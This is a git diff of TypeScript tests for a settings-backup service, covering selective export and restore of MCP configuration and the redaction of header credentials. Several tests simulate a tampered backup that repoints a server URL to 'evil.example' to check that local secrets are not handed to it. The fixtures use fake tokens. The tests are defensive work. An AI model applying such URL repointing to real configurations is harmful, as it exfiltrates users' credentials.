       throw new BackupServiceError("IO_ERROR", "Settings backup configuration was not saved");
     }
+    const persisted = saved;
     // saveConfig logs and swallows write failures by design, so a resolved editConfig does
     // not prove the write landed; on a full disk this method would otherwise report saved
     // settings, a recorded push, or a recorded restore that config.json never received.
     // loadConfigOrDefault reads the file fresh, so a lost write reads back as the old value.
     const stored = this.config.loadConfigOrDefault().settingsBackup;
     if (
-      stored?.repoUrl !== saved.repoUrl ||
-      stored.branch !== saved.branch ||
-      stored.path !== saved.path ||
-      stored.includeProjects !== saved.includeProjects ||
-      stored.lastPushedCommit !== saved.lastPushedCommit ||
-      stored.lastRestoredCommit !== saved.lastRestoredCommit
+      stored?.repoUrl !== persisted.repoUrl ||
+      stored.branch !== persisted.branch ||
+      stored.path !== persisted.path ||
+      BACKUP_CONTENT_FLAGS.some((flag) => stored[flag] !== persisted[flag]) ||
+      stored.lastPushedCommit !== persisted.lastPushedCommit ||
+      stored.lastRestoredCommit !== persisted.lastRestoredCommit
     ) {
       throw new BackupServiceError(
         "IO_ERROR",
         "The backup settings could not be written to config.json"
       );
     }
-    return saved;
+    return persisted;
   }
 
   /**
diff --git a/src/node/services/backup/payload.test.ts b/src/node/services/backup/payload.test.ts
index edc753032e..7a8e888340 100644
--- a/src/node/services/backup/payload.test.ts
+++ b/src/node/services/backup/payload.test.ts
@@ -46,21 +46,27 @@ import {
   readBackupPayload,
   resolveRestoredContent,
   restoreBackupPayload,
+  selectBackupContents,
   scanBackupFilesForSecrets,
   writeBackupPayload,
   writeProjectBundle,
   writeProjectMemoryFiles,
+  type BackupPayload,
   type BackupProjectBundle,
 } from "./payload";
 import { projectMemoryDirName, projectPathHashSuffix } from "@/node/services/memoryService";
 import {
   MAX_BACKUP_PROJECT_ENTRIES,
+  resolveBackupContents,
   sanitizeBackupGitRemote,
   type BackupProjectBundleEntry,
 } from "@/common/config/schemas/settingsBackup";
 import { captureRejection, writeFixtureFile } from "./testHelpers";
 import { MEMORY_MAX_FILE_BYTES, MEMORY_MAX_FILES_PER_SCOPE } from "@/common/constants/memory";
 
+/** Every core category selected, as a fresh install's defaults leave them. */
+const CONTENTS = resolveBackupContents({});
+
 async function isExecutable(filePath: string): Promise<boolean> {
   return ((await fs.stat(filePath)).mode & 0o111) !== 0;
 }
@@ -195,6 +201,7 @@ describe("backup payload", () => {
 
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       exportedAt: "2026-07-30T00:00:00.000Z",
@@ -240,11 +247,7 @@ describe("backup payload", () => {
     });
   });
 
-  it("keeps MCP commands and URLs while redacting literal header values", async () => {
-    await writeFixtureFile(
-      muxRoot,
-      "mcp.jsonc",
-      `{
+  const MCP_WITH_CREDENTIAL_FIELDS = `{
   // Deploy token: commentsecret
   "servers": {
     "api": {
@@ -261,38 +264,171 @@ describe("backup payload", () => {
     "bareCommand": "bare-mcp --verbose"
   }
 }
-`
-    );
+`;
+
+  interface ProjectedMcpServers {
+    servers: {
+      api: { url: string; headers?: unknown };
+      plain: { url: string };
+      objectCommand: { command: string };
+      bareCommand: string;
+    };
+  }
+
+  it("keeps MCP commands, URLs, and headers when every MCP category is selected", async () => {
+    await writeFixtureFile(muxRoot, "mcp.jsonc", MCP_WITH_CREDENTIAL_FIELDS);
 
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       reportSecrets: true,
     });
-    const mcp = jsonc.parse(payloadFileText(payload, "mcp.jsonc")) as {
-      servers: {
-        api: { url: string; headers: Record<string, unknown> };
-        plain: { url: string };
-        objectCommand: { command: string };
-        bareCommand: string;
-      };
-    };
+    const mcp = jsonc.parse(payloadFileText(payload, "mcp.jsonc")) as ProjectedMcpServers;
 
-    expect(mcp.servers.api.headers.Authorization).toBe(REDACTED_BACKUP_VALUE);
-    expect(mcp.servers.api.headers.Secret).toEqual({ secret: "MCP_SECRET" });
+    expect(mcp.servers.api.headers).toEqual({
+      Authorization: "Bearer literal",
+      Secret: { secret: "MCP_SECRET" },
+    });
     expect(mcp.servers.api.url).toBe(
       "https://user:password@example.com/mcp?token=literal&clientSecret=camel2&X-Amz-Signature=deadbeefcafe&mode=fast"
     );
     expect(mcp.servers.plain.url).toBe("https://example.com/mcp?mode=fast");
     expect(mcp.servers.objectCommand.command).toBe("npx object-mcp --root /workspace");
     expect(mcp.servers.bareCommand).toBe("bare-mcp --verbose");
+    // A comment is prose no projection can inspect, so it is never published.
+    expect(payloadFileText(payload, "mcp.jsonc")).not.toContain("commentsecret");
+    expect(payload.redactions).toEqual([]);
+    // Published verbatim means reviewed before publication.
+    expect(scanBackupFilesForSecrets(payload.files, CONTENTS)).toEqual(["mcp.jsonc"]);
+  });
+
+  it("leaves header values and stdio commands out when their categories are not selected", async () => {
+    await writeFixtureFile(muxRoot, "mcp.jsonc", MCP_WITH_CREDENTIAL_FIELDS);
+    const contents = resolveBackupContents({
+      includeMcpHeaders: false,
+      includeMcpCommands: false,
+    });
+
+    const payload = await createBackupPayload({
+      muxRoot,
+      contents,
+      muxVersion: "1.2.3",
+      sourceLabel: "test-host",
+      reportSecrets: true,
+    });
+    const mcp = jsonc.parse(payloadFileText(payload, "mcp.jsonc")) as ProjectedMcpServers;
+
+    // The whole object, reference headers included: a restore puts the local object back as a unit.
+    expect(mcp.servers.api.headers).toBe(REDACTED_BACKUP_VALUE);
+    expect(mcp.servers.objectCommand.command).toBe(REDACTED_BACKUP_VALUE);
+    expect(mcp.servers.bareCommand).toBe(REDACTED_BACKUP_VALUE);
+    expect(mcp.servers.plain.url).toBe("https://example.com/mcp?mode=fast");
     const text = payloadFileText(payload, "mcp.jsonc");
-    expect(text).not.toContain("commentsecret");
+    expect(text).not.toContain("Bearer literal");
+    expect(text).not.toContain("MCP_SECRET");
+    expect(text).not.toContain("object-mcp");
+    expect(text).not.toContain("bare-mcp");
+    expect(payload.redactions).toEqual([
+      "servers.api.headers",
+      "servers.objectCommand.command",
+      "servers.bareCommand",
+    ]);
     const destination = path.join(tempDir, "redacted-payload");
     await writeBackupPayload(destination, payload);
     expect((await readBackupPayload(destination)).redactions).toEqual(payload.redactions);
-    expect(payload.redactions).toEqual(["servers.api.headers.Authorization"]);
+    // Markers carry nothing to review; only the credential-looking URL still does.
+    expect(scanBackupFilesForSecrets(payload.files, contents)).toEqual(["mcp.jsonc"]);
+    await writeFixtureFile(
+      muxRoot,
+      "mcp.jsonc",
+      MCP_WITH_CREDENTIAL_FIELDS.replace(
+        "https://user:password@example.com/mcp?token=literal&clientSecret=camel2&X-Amz-Signature=deadbeefcafe&mode=fast",
+        "https://example.com/mcp"
+      )
+    );
+    const plainUrls = await createBackupPayload({
+      muxRoot,
+      contents,
+      muxVersion: "1.2.3",
+      sourceLabel: "test-host",
+      reportSecrets: true,
+    });
+    expect(scanBackupFilesForSecrets(plainUrls.files, contents)).toEqual([]);
+  });
+
+  it("collects, exports, and restores only the selected categories", async () => {
+    await writeFixtureFile(muxRoot, "AGENTS.md", "instructions\n");
+    await writeFixtureFile(muxRoot, "agents/reviewer.md", "reviewer\n");
+    await writeFixtureFile(muxRoot, "skills/demo/SKILL.md", "skill\n");
+    await writeFixtureFile(muxRoot, "memory/global/note.md", "memory\n");
+    await writeFixtureFile(muxRoot, "mcp.jsonc", JSON.stringify({ servers: {} }));
+    const everything = await createBackupPayload({
+      muxRoot,
+      contents: CONTENTS,
+      muxVersion: "1.2.3",
+      sourceLabel: "test-host",
+      preferences: { appearance: { theme: "dark" } },
+    });
+    expect(everything.files.map((file) => file.path)).toEqual([
+      "AGENTS.md",
+      "agents/reviewer.md",
+      "mcp.jsonc",
+      "memory/global/note.md",
+      "preferences.json",
+      "skills/demo/SKILL.md",
+    ]);
+
+    const contents = resolveBackupContents({
+      includeAgents: false,
+      includeGlobalMemory: false,
+      includeMcp: false,
+      includePreferences: false,
+    });
+    expect((await collectAllowlistedFiles(muxRoot, contents)).map((file) => file.path)).toEqual([
+      "AGENTS.md",
+      "skills/demo/SKILL.md",
+    ]);
+    const selectedExport = await createBackupPayload({
+      muxRoot,
+      contents,
+      muxVersion: "1.2.3",
+      sourceLabel: "test-host",
+      preferences: { appearance: { theme: "dark" } },
+    });
+    expect(selectedExport.files.map((file) => file.path)).toEqual([
+      "AGENTS.md",
+      "skills/demo/SKILL.md",
+    ]);
+
+    // Restoring a full backup through the same selection leaves the other categories alone,
+    // and does not report them as local-only either: they were never in question.
+    const destination = path.join(tempDir, "everything");
+    await writeBackupPayload(destination, everything);
+    const selected = selectBackupContents(await readBackupPayload(destination), contents);
+    expect(selected.files.map((file) => file.path)).toEqual(["AGENTS.md", "skills/demo/SKILL.md"]);
+    expect(selected.manifest.files.map((file) => file.path)).toEqual([
+      "AGENTS.md",
+      "skills/demo/SKILL.md",
+    ]);
+    const restoreRoot = path.join(tempDir, "selected-restore");
+    await writeFixtureFile(restoreRoot, "agents/local.md", "local agent\n");
+    await writeFixtureFile(restoreRoot, "skills/local/SKILL.md", "local skill\n");
+    const result = await restoreBackupPayload({
+      muxRoot: restoreRoot,
+      contents,
+      payload: selected,
+    });
+    expect(result.backupPreferences).toBeUndefined();
+    expect(result.localOnlyFiles).toEqual(["skills/local/SKILL.md"]);
+    expect(await fs.readFile(path.join(restoreRoot, "AGENTS.md"), "utf-8")).toBe("instructions\n");
+    expect(await fs.readFile(path.join(restoreRoot, "agents/local.md"), "utf-8")).toBe(
+      "local agent\n"
+    );
+    for (const untouched of ["agents/reviewer.md", "mcp.jsonc", "memory/global/note.md"]) {
+      await captureRejection(fs.access(path.join(restoreRoot, untouched)));
+    }
   });
 
   it("does not create manifests above the MCP redaction limit", async () => {
@@ -307,6 +443,7 @@ describe("backup payload", () => {
     const rejected = await captureRejection(
       createBackupPayload({
         muxRoot,
+        contents: CONTENTS,
         muxVersion: "1.2.3",
         sourceLabel: "test-host",
         reportSecrets: true,
@@ -341,6 +478,7 @@ describe("backup payload", () => {
 
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       preferences: {
@@ -436,7 +574,12 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "AGENTS.md", "small\n");
     await sparseFile(muxRoot, "skills/big/asset.bin", MAX_BACKUP_FILE_BYTES + 1);
     const oversizedFile = await captureRejection(
-      createBackupPayload({ muxRoot, muxVersion: "1.2.3", sourceLabel: "test-host" })
+      createBackupPayload({
+        muxRoot,
+        contents: CONTENTS,
+        muxVersion: "1.2.3",
+        sourceLabel: "test-host",
+      })
     );
     expect((oversizedFile as Error).message).toContain("larger than the 8 MB limit");
 
@@ -446,7 +589,12 @@ describe("backup payload", () => {
       await sparseFile(muxRoot, `skills/big/part-${index}.bin`, MAX_BACKUP_FILE_BYTES);
     }
     const oversizedTotal = await captureRejection(
-      createBackupPayload({ muxRoot, muxVersion: "1.2.3", sourceLabel: "test-host" })
+      createBackupPayload({
+        muxRoot,
+        contents: CONTENTS,
+        muxVersion: "1.2.3",
+        sourceLabel: "test-host",
+      })
     );
     expect((oversizedTotal as Error).message).toContain("total limit");
 
@@ -457,7 +605,12 @@ describe("backup payload", () => {
     const destination = path.join(tempDir, "oversized-payload");
     await writeBackupPayload(
       destination,
-      await createBackupPayload({ muxRoot, muxVersion: "1.2.3", sourceLabel: "test-host" })
+      await createBackupPayload({
+        muxRoot,
+        contents: CONTENTS,
+        muxVersion: "1.2.3",
+        sourceLabel: "test-host",
+      })
     );
     await sparseFile(destination, "skills/demo/SKILL.md", MAX_BACKUP_FILE_BYTES + 1);
     const rejected = await captureRejection(readBackupPayload(destination));
@@ -476,6 +629,7 @@ describe("backup payload", () => {
     const reuseDir = path.join(tempDir, "manifest-reuse");
     const reusePayload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -742,10 +896,10 @@ describe("backup payload", () => {
       await fs.mkdir(path.join(skillsRoot, `directory-${index}`));
     }
 
-    expect(await collectAllowlistedFiles(muxRoot)).toEqual([]);
+    expect(await collectAllowlistedFiles(muxRoot, CONTENTS)).toEqual([]);
 
     await fs.mkdir(path.join(skillsRoot, "over-limit"));
-    const rejected = await captureRejection(collectAllowlistedFiles(muxRoot));
+    const rejected = await captureRejection(collectAllowlistedFiles(muxRoot, CONTENTS));
 
     expect((rejected as Error).message).toBe(
       `Backup has more than ${MAX_BACKUP_DIRECTORY_COUNT} directories`
@@ -759,10 +913,10 @@ describe("backup payload", () => {
     ];
     await fs.mkdir(path.join(muxRoot, ...boundary), { recursive: true });
 
-    expect(await collectAllowlistedFiles(muxRoot)).toEqual([]);
+    expect(await collectAllowlistedFiles(muxRoot, CONTENTS)).toEqual([]);
 
     await fs.mkdir(path.join(muxRoot, ...boundary, "too-deep"));
-    const rejected = await captureRejection(collectAllowlistedFiles(muxRoot));
+    const rejected = await captureRejection(collectAllowlistedFiles(muxRoot, CONTENTS));
 
     expect((rejected as Error).message).toContain(
       `more than ${MAX_BACKUP_PATH_DEPTH} path components`
@@ -777,6 +931,7 @@ describe("backup payload", () => {
 
     const boundary = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -789,7 +944,12 @@ describe("backup payload", () => {
     }
 
     const rejected = await captureRejection(
-      createBackupPayload({ muxRoot, muxVersion: "1.2.3", sourceLabel: "test-host" })
+      createBackupPayload({
+        muxRoot,
+        contents: CONTENTS,
+        muxVersion: "1.2.3",
+        sourceLabel: "test-host",
+      })
     );
     expect((rejected as Error).message).toBe(
       `Backup has more than ${MAX_BACKUP_DIRECTORY_COUNT} directories`
@@ -834,6 +994,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "AGENTS.md", "small\n");
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -860,6 +1021,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "AGENTS.md", "small\n");
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       preferences: {
@@ -901,6 +1063,7 @@ describe("backup payload", () => {
 
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       reportSecrets: true,
@@ -934,7 +1097,11 @@ describe("backup payload", () => {
 
     const destination = path.join(tempDir, "projected-payload");
     await writeBackupPayload(destination, payload);
-    await restoreBackupPayload({ muxRoot, payload: await readBackupPayload(destination) });
+    await restoreBackupPayload({
+      muxRoot,
+      contents: CONTENTS,
+      payload: await readBackupPayload(destination),
+    });
     // Restoring onto the machine the values came from puts every one of them back, so a
     // field Xum ignores is not lost by round-tripping through a repository.
     expect(jsonc.parse(await fs.readFile(path.join(muxRoot, "mcp.jsonc"), "utf-8"))).toEqual(
@@ -948,6 +1115,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "skills/demo/foo.md", "lower\n");
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       keepLocalSecrets: true,
@@ -974,7 +1142,12 @@ describe("backup payload", () => {
       await writeFixtureFile(muxRoot, "mcp.jsonc", JSON.stringify({ servers }));
 
       const refused = await captureRejection(
-        createBackupPayload({ muxRoot, muxVersion: "1.2.3", sourceLabel: "test-host" })
+        createBackupPayload({
+          muxRoot,
+          contents: CONTENTS,
+          muxVersion: "1.2.3",
+          sourceLabel: "test-host",
+        })
       );
 
       expect((refused as { code?: string }).code).toBe("INVALID_BACKUP");
@@ -986,6 +1159,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "AGENTS.md", "backed up\n");
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -1020,6 +1194,7 @@ describe("backup payload", () => {
     );
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       reportSecrets: true,
@@ -1058,6 +1233,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "AGENTS.md", "backed up\n");
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -1090,6 +1266,7 @@ describe("backup payload", () => {
 
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       reportSecrets: true,
@@ -1108,8 +1285,10 @@ describe("backup payload", () => {
     });
     expect(mcp.servers.bare).toBe("bare-mcp --verbose");
     expect(mcp.servers.remote.url).toBe("https://host.example/mcp?mode=fast");
-    expect(mcp.servers.remote.headers.Authorization).toBe(REDACTED_BACKUP_VALUE);
-    expect(mcp.servers.remote.headers["X-Ref"]).toEqual({ secret: "KEY" });
+    expect(mcp.servers.remote.headers).toEqual({
+      Authorization: "Bearer local-header",
+      "X-Ref": { secret: "KEY" },
+    });
 
     const destination = path.join(tempDir, "portable-mcp-payload");
     await writeBackupPayload(destination, payload);
@@ -1123,6 +1302,7 @@ describe("backup payload", () => {
     ]);
     await restoreBackupPayload({
       muxRoot: fresh,
+      contents: CONTENTS,
       payload: readBack,
       approvedCommandTokens: approvals.map((approval) => approval.token),
     });
@@ -1137,7 +1317,9 @@ describe("backup payload", () => {
     expect(restored.servers.object).toEqual(mcp.servers.object);
     expect(restored.servers.bare).toBe(mcp.servers.bare);
     expect(restored.servers.remote.url).toBe(mcp.servers.remote.url);
-    expect(restored.servers.remote.headers).toBeUndefined();
+    // The literal value travels with the backup; the reference names a secret this machine
+    // does not hold, so it is dropped rather than left pointing at nothing.
+    expect(restored.servers.remote.headers).toEqual({ Authorization: "Bearer local-header" });
   });
 
   it("round-trips literal redaction-marker MCP commands", async () => {
@@ -1152,6 +1334,7 @@ describe("backup payload", () => {
       );
       const payload = await createBackupPayload({
         muxRoot,
+        contents: CONTENTS,
         muxVersion: "1.2.3",
         sourceLabel: "test-host",
         reportSecrets: true,
@@ -1175,10 +1358,13 @@ describe("backup payload", () => {
       );
       expect(approvals.map((approval) => approval.command)).toEqual([REDACTED_BACKUP_VALUE]);
       expect(
-        await captureRejection(restoreBackupPayload({ muxRoot: fresh, payload: readBack }))
+        await captureRejection(
+          restoreBackupPayload({ muxRoot: fresh, contents: CONTENTS, payload: readBack })
+        )
       ).toBeInstanceOf(BackupCommandApprovalRequiredError);
       await restoreBackupPayload({
         muxRoot: fresh,
+        contents: CONTENTS,
         payload: readBack,
         approvedCommandTokens: approvals.map((approval) => approval.token),
       });
@@ -1189,7 +1375,7 @@ describe("backup payload", () => {
     }
   });
 
-  it("restores a mixed command and URL while rehydrating its headers", async () => {
+  it("restores a mixed command and URL with its headers", async () => {
     await writeFixtureFile(
       muxRoot,
       "mcp.jsonc",
@@ -1206,6 +1392,7 @@ describe("backup payload", () => {
     );
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       reportSecrets: true,
@@ -1214,7 +1401,7 @@ describe("backup payload", () => {
     await writeBackupPayload(destination, payload);
 
     const readBack = await readBackupPayload(destination);
-    await restoreBackupPayload({ muxRoot, payload: readBack });
+    await restoreBackupPayload({ muxRoot, contents: CONTENTS, payload: readBack });
     const restored = jsonc.parse(await fs.readFile(path.join(muxRoot, "mcp.jsonc"), "utf-8")) as {
       servers: { mixed: { command: string; url: string; headers: Record<string, string> } };
     };
@@ -1226,7 +1413,7 @@ describe("backup payload", () => {
     const fresh = path.join(tempDir, "mixed-fresh");
     await fs.mkdir(fresh, { recursive: true });
     expect(await collectMcpCommandApprovals(fresh, readBack.files)).toEqual([]);
-    await restoreBackupPayload({ muxRoot: fresh, payload: readBack });
+    await restoreBackupPayload({ muxRoot: fresh, contents: CONTENTS, payload: readBack });
     const freshServers = (
       jsonc.parse(await fs.readFile(path.join(fresh, "mcp.jsonc"), "utf-8")) as {
         servers: { mixed: { command: string; url: string; headers?: Record<string, unknown> } };
@@ -1234,63 +1421,89 @@ describe("backup payload", () => {
     ).servers;
     expect(freshServers.mixed.command).toBe("npx local-proxy");
     expect(freshServers.mixed.url).toBe("https://host.example/mcp?mode=proxy");
-    expect(freshServers.mixed.headers).toBeUndefined();
+    expect(freshServers.mixed.headers).toEqual({ Authorization: "Bearer sk-live-mixed" });
   });
 
-  it("refuses to send a rehydrated header credential to a url the backup changed", async () => {
-    await writeFixtureFile(
-      muxRoot,
-      "mcp.jsonc",
-      JSON.stringify({
-        servers: {
-          api: {
-            url: "https://api.example.com/mcp",
-            headers: { Authorization: "Bearer local-secret", Ref: { secret: "LOCAL_KEY" } },
-          },
-        },
-      })
-    );
-    const payload = await createBackupPayload({
-      muxRoot,
-      muxVersion: "1.2.3",
-      sourceLabel: "test-host",
-    });
-    const destination = path.join(tempDir, "moved-endpoint");
-    await writeBackupPayload(destination, payload);
-    const readBack = await readBackupPayload(destination);
+  const LOCAL_MCP_WITH_HEADERS = JSON.stringify({
+    servers: {
+      api: {
+        url: "https://api.example.com/mcp",
+        headers: { Authorization: "Bearer local-secret", Ref: { secret: "LOCAL_KEY" } },
+      },
+    },
+  });
 
-    // A repository writer repoints the entry while leaving the header markers untouched.
-    const file = readBack.files.find((candidate) => candidate.path === "mcp.jsonc");
+  /** A repository writer repoints the entry while leaving everything else as exported. */
+  function repointedToEvil(payload: BackupPayload): BackupPayload {
+    const file = payload.files.find((candidate) => candidate.path === "mcp.jsonc");
     if (!file) throw new Error("expected mcp.jsonc in the payload");
     const moved = file.content
       .toString("utf-8")
       .replace('"url": "https://api.example.com/mcp"', '"url": "https://evil.example/mcp"');
-    const tampered = {
-      ...readBack,
-      files: readBack.files.map((candidate) =>
+    return {
+      ...payload,
+      files: payload.files.map((candidate) =>
         candidate.path === "mcp.jsonc"
           ? { ...candidate, content: Buffer.from(moved, "utf-8") }
           : candidate
       ),
     };
+  }
+
+  it("refuses to send local headers left out of the backup to a url the backup changed", async () => {
+    await writeFixtureFile(muxRoot, "mcp.jsonc", LOCAL_MCP_WITH_HEADERS);
+    const contents = resolveBackupContents({ includeMcpHeaders: false });
+    const payload = await createBackupPayload({
+      muxRoot,
+      contents,
+      muxVersion: "1.2.3",
+      sourceLabel: "test-host",
+    });
+    const destination = path.join(tempDir, "moved-endpoint");
+    await writeBackupPayload(destination, payload);
+    const tampered = repointedToEvil(await readBackupPayload(destination));
 
-    await restoreBackupPayload({ muxRoot, payload: tampered });
+    await restoreBackupPayload({ muxRoot, contents, payload: tampered });
     const restored = jsonc.parse(await fs.readFile(path.join(muxRoot, "mcp.jsonc"), "utf-8")) as {
       servers: { api: { url: string; headers?: Record<string, unknown> } };
     };
     expect(restored.servers.api.url).toBe("https://evil.example/mcp");
-    expect(restored.servers.api.headers ?? {}).toEqual({});
+    expect(restored.servers.api.headers).toBeUndefined();
     const text = await fs.readFile(path.join(muxRoot, "mcp.jsonc"), "utf-8");
     expect(text).not.toContain("local-secret");
     expect(text).not.toContain("LOCAL_KEY");
   });
 
+  it("keeps a backed-up literal header but not a local secret reference when the url changed", async () => {
+    await writeFixtureFile(muxRoot, "mcp.jsonc", LOCAL_MCP_WITH_HEADERS);
+    const payload = await createBackupPayload({
+      muxRoot,
+      contents: CONTENTS,
+      muxVersion: "1.2.3",
+      sourceLabel: "test-host",
+      reportSecrets: true,
+    });
+    const destination = path.join(tempDir, "moved-endpoint-literal");
+    await writeBackupPayload(destination, payload);
+    const tampered = repointedToEvil(await readBackupPayload(destination));
+
+    await restoreBackupPayload({ muxRoot, contents: CONTENTS, payload: tampered });
+    const restored = jsonc.parse(await fs.readFile(path.join(muxRoot, "mcp.jsonc"), "utf-8")) as {
+      servers: { api: { url: string; headers?: Record<string, unknown> } };
+    };
+    expect(restored.servers.api.url).toBe("https://evil.example/mcp");
+    // The literal was already readable by whoever edited the repository; the reference would
+    // resolve a secret the repository never held.
+    expect(restored.servers.api.headers).toEqual({ Authorization: "Bearer local-secret" });
+  });
+
   it("drops a header reference the backup adds, with or without any redaction marker", async () => {
     // No marker anywhere in this payload, so nothing signals that it needs inspecting. The
     // reference still resolves against local project secrets, and the url is the backup's.
     await writeFixtureFile(muxRoot, "mcp.jsonc", JSON.stringify({ servers: {} }));
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -1317,16 +1530,15 @@ describe("backup payload", () => {
       ),
     };
 
-    await restoreBackupPayload({ muxRoot, payload: tampered });
+    await restoreBackupPayload({ muxRoot, contents: CONTENTS, payload: tampered });
     const text = await fs.readFile(path.join(muxRoot, "mcp.jsonc"), "utf-8");
     expect(text).not.toContain("GITHUB_TOKEN");
     expect(text).not.toContain(REDACTED_BACKUP_VALUE);
   });
 
-  it("refuses to rehydrate a marker written in place of the whole headers object", async () => {
-    // Export only ever redacts individual header values, so this shape is hand-written: it
-    // asks the restore to resolve `headers` itself against local data, which would hand every
-    // local header for the server to the url the repository chose.
+  it("does not hand the whole local headers object to a url the backup changed", async () => {
+    // The whole-object marker is what an export without headers writes; a repository writer
+    // who repoints the url next to it must not get every local header for the server.
     await writeFixtureFile(
       muxRoot,
       "mcp.jsonc",
@@ -1341,6 +1553,7 @@ describe("backup payload", () => {
     );
     const payload = await createBackupPayload({
       muxRoot,
+      contents: resolveBackupContents({ includeMcpHeaders: false }),
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -1367,7 +1580,7 @@ describe("backup payload", () => {
       ),
     };
 
-    await restoreBackupPayload({ muxRoot, payload: tampered });
+    await restoreBackupPayload({ muxRoot, contents: CONTENTS, payload: tampered });
     const text = await fs.readFile(path.join(muxRoot, "mcp.jsonc"), "utf-8");
     expect(text).not.toContain("local-secret");
     const restored = jsonc.parse(text) as {
@@ -1391,8 +1604,10 @@ describe("backup payload", () => {
     );
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
+      reportSecrets: true,
     });
 
     for (const headerName of ["constructor", "toString", "__proto__"]) {
@@ -1414,31 +1629,22 @@ describe("backup payload", () => {
             : candidate
         ),
       };
-      await restoreBackupPayload({ muxRoot, payload: tampered });
+      await restoreBackupPayload({ muxRoot, contents: CONTENTS, payload: tampered });
       const text = await fs.readFile(path.join(muxRoot, "mcp.jsonc"), "utf-8");
       expect(text).not.toContain(REDACTED_BACKUP_VALUE);
       const restored = jsonc.parse(text) as {
-        servers: { api: { headers: Record<string, unknown> } };
+        servers: { api: { headers?: Record<string, unknown> } };
       };
-      expect(restored.servers.api.headers).toEqual({});
+      expect(restored.servers.api.headers).toBeUndefined();
     }
   });
 
-  it("puts a header credential back when the entry still points at the local url", async () => {
-    await writeFixtureFile(
-      muxRoot,
-      "mcp.jsonc",
-      JSON.stringify({
-        servers: {
-          api: {
-            url: "https://api.example.com/mcp",
-            headers: { Authorization: "Bearer local-secret", Ref: { secret: "LOCAL_KEY" } },
-          },
-        },
-      })
-    );
+  it("puts local headers left out of the backup back when the entry still points at the local url", async () => {
+    await writeFixtureFile(muxRoot, "mcp.jsonc", LOCAL_MCP_WITH_HEADERS);
+    const contents = resolveBackupContents({ includeMcpHeaders: false });
     const payload = await createBackupPayload({
       muxRoot,
+      contents,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -1446,7 +1652,7 @@ describe("backup payload", () => {
     await writeBackupPayload(destination, payload);
     const readBack = await readBackupPayload(destination);
 
-    await restoreBackupPayload({ muxRoot, payload: readBack });
+    await restoreBackupPayload({ muxRoot, contents, payload: readBack });
     const restored = jsonc.parse(await fs.readFile(path.join(muxRoot, "mcp.jsonc"), "utf-8")) as {
       servers: { api: { headers: Record<string, unknown> } };
     };
@@ -1456,7 +1662,43 @@ describe("backup payload", () => {
     });
   });
 
-  it("drops a header credential a fresh machine has no local value for", async () => {
+  it("keeps local headers when restoring a backup that carries headers with headers deselected", async () => {
+    // The restoring machine's selection wins: a backup pushed with headers on lands on a
+    // machine with headers off as if the export had left them out.
+    await writeFixtureFile(muxRoot, "mcp.jsonc", LOCAL_MCP_WITH_HEADERS);
+    const payload = await createBackupPayload({
+      muxRoot,
+      contents: CONTENTS,
+      muxVersion: "1.2.3",
+      sourceLabel: "test-host",
+      reportSecrets: true,
+    });
+    const destination = path.join(tempDir, "headers-deselected");
+    await writeBackupPayload(destination, payload);
+    const readBack = await readBackupPayload(destination);
+    await writeFixtureFile(
+      muxRoot,
+      "mcp.jsonc",
+      JSON.stringify({
+        servers: {
+          api: { url: "https://api.example.com/mcp", headers: { Authorization: "Bearer mine" } },
+        },
+      })
+    );
+
+    const contents = resolveBackupContents({ includeMcpHeaders: false });
+    const selected = selectBackupContents(readBack, contents);
+    expect(selected.redactions).toEqual(["servers.api.headers"]);
+    await restoreBackupPayload({ muxRoot, contents, payload: selected });
+    const text = await fs.readFile(path.join(muxRoot, "mcp.jsonc"), "utf-8");
+    expect(text).not.toContain("local-secret");
+    expect(text).not.toContain(REDACTED_BACKUP_VALUE);
+    expect(
+      (jsonc.parse(text) as { servers: { api: { headers: unknown } } }).servers.api.headers
+    ).toEqual({ Authorization: "Bearer mine" });
+  });
+
+  it("drops a header left out of the backup on a machine with no local value for it", async () => {
     await writeFixtureFile(
       muxRoot,
       "mcp.jsonc",
@@ -1466,6 +1708,7 @@ describe("backup payload", () => {
     );
     const payload = await createBackupPayload({
